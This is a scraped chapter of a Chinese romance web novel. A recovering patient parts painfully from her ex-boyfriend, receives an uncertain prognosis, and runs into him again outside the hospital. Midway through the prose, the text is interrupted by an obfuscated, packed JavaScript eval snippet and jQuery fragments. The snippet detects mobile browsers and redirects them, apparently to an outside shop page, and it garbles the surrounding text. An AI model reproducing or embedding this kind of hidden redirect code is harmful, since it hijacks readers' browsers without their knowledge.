9. 第 9 章
作品:《偏偏有瘾》 一整晚观察下来,他觉得老板和这位前女友之间,关系实在算不得亲密,既没有预想中的剑拔弩张,也没有什么藕断丝连的暧昧,全程平静得很。
于是他笃定,二人之间没什么特别的关系了,这条微信,他也就没特意告诉梁明远。
不过,梁明远是何等细心的人。
他一直若即若离的余光看着她,发现她去洗手间,五分钟是女生常用时间,超过十分钟仍不见夏子言回来,便立刻起身走了出去。
夏子言挎着包,站在路边低着头,正一遍遍地刷新着打车软件的页面。
“这么没礼貌,不打招呼就走?”
夏子言听到声音抬起头,立刻站直了身子,没想到他会跟出来,有些慌乱的说:“呃...我...我已经发微信给陈文舟。”
“怎么不发给我?”
“我要发给你吗?好,我现在发。”
他轻笑一声,目光依然直视她的脸:“难道你以后就不找工作了?你不是很会写规划书吗?”
大二已经把到三十岁要做什么都写的清清楚楚。
真可笑啊,每一步都没按着预定走。
见她不说话,梁明远向前一步,一把拉住她的手腕,仔细看了一圈,随后轻轻放下。
常年打针的人,手背上总会留下一些浅浅的针眼。
不知怎么,可能市区内的路灯格外亮一些,这样的光线,他都可以清晰地看见那些细密的、淡褐色的小印记。
“若是你真生病了,”他沉默了几秒,顿了顿说,“从前我们之间的事,就一笔勾销。”
夏子言抬起头,怔怔地看着他,轻声问:“一笔勾销是......是什么?”
他似乎有些不耐烦:“一笔勾销就是各不相欠,从此桥归桥,路归路。”
夏子言不想再问这句话什么意思,前几次见面,他已经把话说得够明白了,给了很明确的答案。
他不愿复合,不愿和她在一起,这已经是铁一般的事实。
她再爱他,也没有脸皮厚到紧追不放。
过了今晚,她是真的该放手了。
等下周和张医生会诊完就立刻回镇上,表姐什么时候回国,她再来上海接她。
虽然从西苑镇到上海实在是太麻烦,不过待在这更是煎熬。
叫了好一会儿车都没人接单,周末外出人多,打车也难。
她不再等待,取消了订单,准备去坐地铁。
见她头也不回地往前走,梁明远立刻出声喊住了她:
“夏子言!”
夏子言脚步一顿,缓缓回过身。
他双手插在裤兜里,一步步朝她走近。
路灯的光影落在他脸上,看不清他此刻的表情,只听见他的声音,带着几分说不清道不明的情绪,像是自嘲,又像是不甘:“你就不打算跟我道个歉吗?”
看到他期许的眼神,夏子言鼻孔微微发酸,是委屈,是难受。
她是该道歉的。
对很多人,她都该说一声对不起。
刚生病的时候,她被病痛折磨得痛不欲生,每天打针输液,疼得死去活来。
从小到大身体都很健康,记忆中很少生病,打针更少。
一点疼痛都没印象的人,每天经受着骨针,还有手浮肿的留针。
可以三个针一起输液。
慢慢地,当病痛成了家常便饭,她心里生出的,就只剩下无休止的愧疚。
爸爸妈妈本有着体面的工作,安稳的生活,却因为她的病,不成人形。
妈妈那么爱美的一个人,从前每天都要换不同的衣服,把自己打扮得漂漂亮亮,可那段日子,她常常一件衣服穿半个月,憔悴得不成样子。
外婆每次打电话都在哭。
她愧疚着,痛苦着,不止一次地想过,若是她死了,爸爸妈妈是不是就能解脱了?
可是,她贪恋这人间的烟火气,喜欢活着的感觉。
求生的本能,父母的眼泪,让她在每一次打针、抽血、头痛欲裂的时候,都死死咬着牙,不肯发出一点声音。
也许是上天垂怜,就在家里的积蓄快要被掏空的时候,她的病情,竟渐渐好转了。
她想,对每个人最好的方式,就是不给他们添麻烦,好好活着,自力更生,让他们都有自己的生活。
这些年的痛苦终于要结束了。
如今,他也想要一句对不起。
夏子言第一次不想说出口。
“我不要说,我不想说。”她淡笑了下,“你又没有为我守身如玉,也没有死去活来、终身不娶,不是过的很风光很体面很被人恭维吗?前几天,我不是已经为当年的不告而别,跟你道过歉了吗?你也骂了我,你骂我,不爱我,讨厌我……为什么我还要道歉?我才不要再道歉呢。”
梁明远站在原地,死死的盯着她。
她终于没有再哭,没有太多的激动,只是平静地说着话,眼神里有一种近乎疲惫的清澈。
那不是怨怼,不是指责,而是一种……认清了现实后的疏离。
他张了张嘴,想说点什么。
解释?反驳?或者……继续质问她当年的不告而别?
原来,他一直紧绷着、较着劲,不肯放过过去,也不肯放过自己,这些种种在内心深处腐烂发芽的执念快要把他折磨的人不人鬼不鬼、
仅凭几句狠话就能一笔勾销?
真的一笔勾销吗?
他嘴上这样说着,心里,真的也是这么想的吗?
“你就是这样狠心的女人,以前我没看出来而已。你自私,只考虑自己的感受,事到如今也没觉得自己有错。前几日假惺惺说要复合,你心里到底怎么想的,自己清楚。”
他语气愤懑,尤其因她刚才那句话。
梁明远继续跟在她身后,声音渐渐提高:“是啊,我为什么要对你守身如玉,凭什么?我是正常男人,我需求大,我有的是钱,我的钱多的说不过来任何女人都可以扑过来,你觉得我会缺吗?该不会我多给你好脸色你又觉得我对你有意思了吗?前几天不是已经告诉你了吗?绝无可能,‘绝无可能’是什么意思,你想都别再想复合的事!你以为我每天脑子里就装着你这点破事吗?我有事业,做得风生水起,随手就能给学校捐五千万。我坐在哪里,人都得来恭维我,攀附我——是啊,你不知道每天多少女人想得到我的青睐,我都眼花缭乱选不过来了......”
夏子言静静地那些刻薄的、炫耀的、带着强烈攻击性的话,耻辱感让她忍不住转过身打断他:“梁明远!”
他停下了话语,漆黑的眸子定定的看着她,即使在昏黄的灯光下,还是迅速转过身并不想让她看到自己的表情。
他很清楚,这些话没品、荒唐、不可一世,甚至显得人品低劣、自大,用最拙劣的方式,把彼此最后一点情分,都推到了无尽的深渊里。
“我知道你这些,我来找你之前就知道,你不必重复告诉我。”夏子言微微的看向前方,轻轻的说:“我也知道你肯定不爱我了,也知道你一直很怨恨我,天差地别,就这样吧。”
她拿出手机,点开他的微信,将他拉入了黑名单。
“师兄,祝福你,希望你成亚洲首富,成为留在历史书上的人。”
夏子言向前走了几步,又回过头,慢慢靠近他。
她仰起脸,就那样认真地望着他,甚至能从细微处察觉到他眼中因怒气而泛起的红血丝。
“回归正常生活之后,终于不再每天想你了。很多时候,你被别的事情覆盖。我想……总有一天会忘记你。”
她轻轻转过身,像对自己低语:“但我也知道,也许一辈子都忘不了吧。”
梁明远走出去很久,陈文舟出门来寻,找了一圈发现老板在停车场的吸烟区一支接一支地抽著烟。
没过多久,他坐上司机的车,离开了。
陈文舟去结账时,发现梁明远已经付过了。
他不由得有些摸不著头脑,刚才哪个环节出了问题?怎么总觉得气氛怪怪的。
夏子言收拾好行李,打算从医院出来后直接回家里去。
整理衣物和零碎用具时,她才发现脖子上那条常戴的项链不见了。
稍一思忖,她便记起来,是自己冲动之下随手扔掉的。
梁明远归还包时她也没有留意项链在不在。
她向来是个爱规整的人,项链、耳环、银行卡,还有那些小挂件,向来都摆放得清清楚楚、井井有条。
那条项链,肯定是没有拿回来。
即便如此,夏子言也没有再折返回去的念头。
这几天她想了很久,内心怀念的,始终是过去的时光;喜欢的,也始终是从前的那个人。
如今的梁明远,变化实在太大了。
或者说,他变成了一个俗人。
说话刻薄,不再有翩翩风度,也不复曾经的如沐春风。他再也不是当年那个爱她至深、每次假期分别都会眼眶湿润的人。
如今的他,更像网络上被人吐槽的那种自大又爹味的领导。
在他们眼中,每个人接触他们都有目的,他们可以轻而易举看穿别人的心思,对别人讨好、恭维内心嗤之以鼻,若是不被攀附又使绊子。
当然,这些是夏子言臆想出来的,臆想这么一点点就难受了。
她想,她不会忘记他,是以前的他,是曾经的他。
绝不是现在这副面目全非的样子。
于是想了许久,发了一条短信。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992810|193800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“师兄,很抱歉这几次的打扰。是我思虑不周,没考虑你的感受,真的对不起。我已经明白你的答案,我要回家了,咱们就此别过。”
发送完之后,夏子言也不知道他有没有收到,或者信息屏蔽,反正没有收到他的回信。
第三天一大早她办了退房,打车一早去了医院。
与张医生会诊前,她把行李寄存在医院大厅的护士台。
张医生看了下她的病例。
全国部分医院信息是联网的,只有她在国外治疗的那一段需要仔细查看。
他抬眼看了看她的脸色,素颜没化妆很容易能识别出来恢复情况。
“假发摘下来我看看。”
“对不起,我忘了。”夏子言好像这些天习惯了早上戴上了假发。
她取下假发,张医生仔细看了看发根。
“恢复的还可以啊。”
夏子言心里一松,没想到医生开口的第一句话,就给她吃了颗定心丸。
张医生又问:“你这么年轻就得这种病,有遗传基因吗?”
夏子言摇摇头:“父母每年都体检,身体一直很好。只是我表姐得过类似的病,确诊时快三十了,后来去美国治疗,现在四十五岁左右,情况还不错。”
张医生微微蹙眉,没多说什么:“你的情况我还需要进一步了解。短期内应该不会有太大影响,平时如果感到不舒服,及时就医。”
夏子言的心一下子提到了嗓子眼,仿佛坏消息又要卷土重来。
“医生,我......我还能活多久?”
张医生淡笑一下,可能让她话题更轻松一些:“要是年纪大些的患者,七八年是常态,你现在恢复得这么好,活个十多年没问题,好好调理的话,二十年也不是没可能。”
当年德国的医生,其实也说过类似的话,只要恢复良好,二十年的生存期完全可以期待。
可是,二十年,那就要倒计时十三年了。
念及此,一股难以言喻的酸楚还是漫上了心头。
张医生继续翻着她的资料,随口说道:“这样吧,两个月后你直接来找我,不用预约,到时候我再跟你详细说明情况。”
他看了眼日历,“五月十七号你过来,小李,加下她的微信。”
夏子言心里极度的复杂和纠结。
开头那句宽慰的话有多让人安心,后面这些模棱两可的叮嘱,就有多让人惴惴不安。
夏子言有些失魂落魄,独自坐在医院的长椅上发呆。
她不知道该想些什么,也不敢再期待什么。
其实没有人真正明白她的心情,就连父母也无法完全体会。
当一个人被告知,生命从此要开始倒数计时,心脏往下坠的窒息感,旁人根本体会不到。
她试着麻木自己,试着听从医生和家人的叮嘱,努力表现得情绪稳定,按时吃饭、规律作息,好像只要这样,病情就能真的好转。
他们总爱举些真真假假的例子来安慰她,说谁谁谁确诊的时候比她还严重,就因为心态好,硬是活到了八十岁。
说谁谁谁每天乐呵呵的,复查指标一次比一次好。
那些漫长得看不到尽头的夜晚,怎么被一阵接一阵的恐慌中熬过来。
他们都不知道。
哪怕活得像具行尸走肉,也得活着。
夏子言缓缓站起身,拉过脚边的行李箱,脚步虚浮地走出了医院大门。
她要打车回去,回那个靠海的小镇,回那个只属于自己的小房间。
要睡上三天三夜,不要伤心,不要难过,醒了就去吃一顿大餐,海鲜、烤肉、甜品,把能想到的好吃的都点一遍。
再也不要来这个让人伤心的地方了。
医院门口的临时停车区总是乱糟糟的,私家车挤着出租车。
夏子言没再用打车软件,走到停在路边的出租车旁。
刚要拉开车门,身后忽然传来一声喇叭响——
和电影中情节一模一样。
梁明远今天难得自己开车出门,不知为何心里乱得厉害,立刻停下车休息,低着头喘着气时,额头不小心压到了方向盘中央。
“滴——”长长的响声。
夏子言下意识地回头望去。
两人四目相对,一时傻愣愣的。
梁明远很快推门下车,看了看她手边的行李箱和挎着的大包小包,先转身对出租车司机说了声:“不好意思,耽误您时间了。”
全身上下摸出了六七十现金给了他。
接着便接过夏子言的行李,没等她反应过来,已经放进了后备箱。
夏子言想开口说些什么,却被他打断。
“这里不能长时间停车,先上车。”

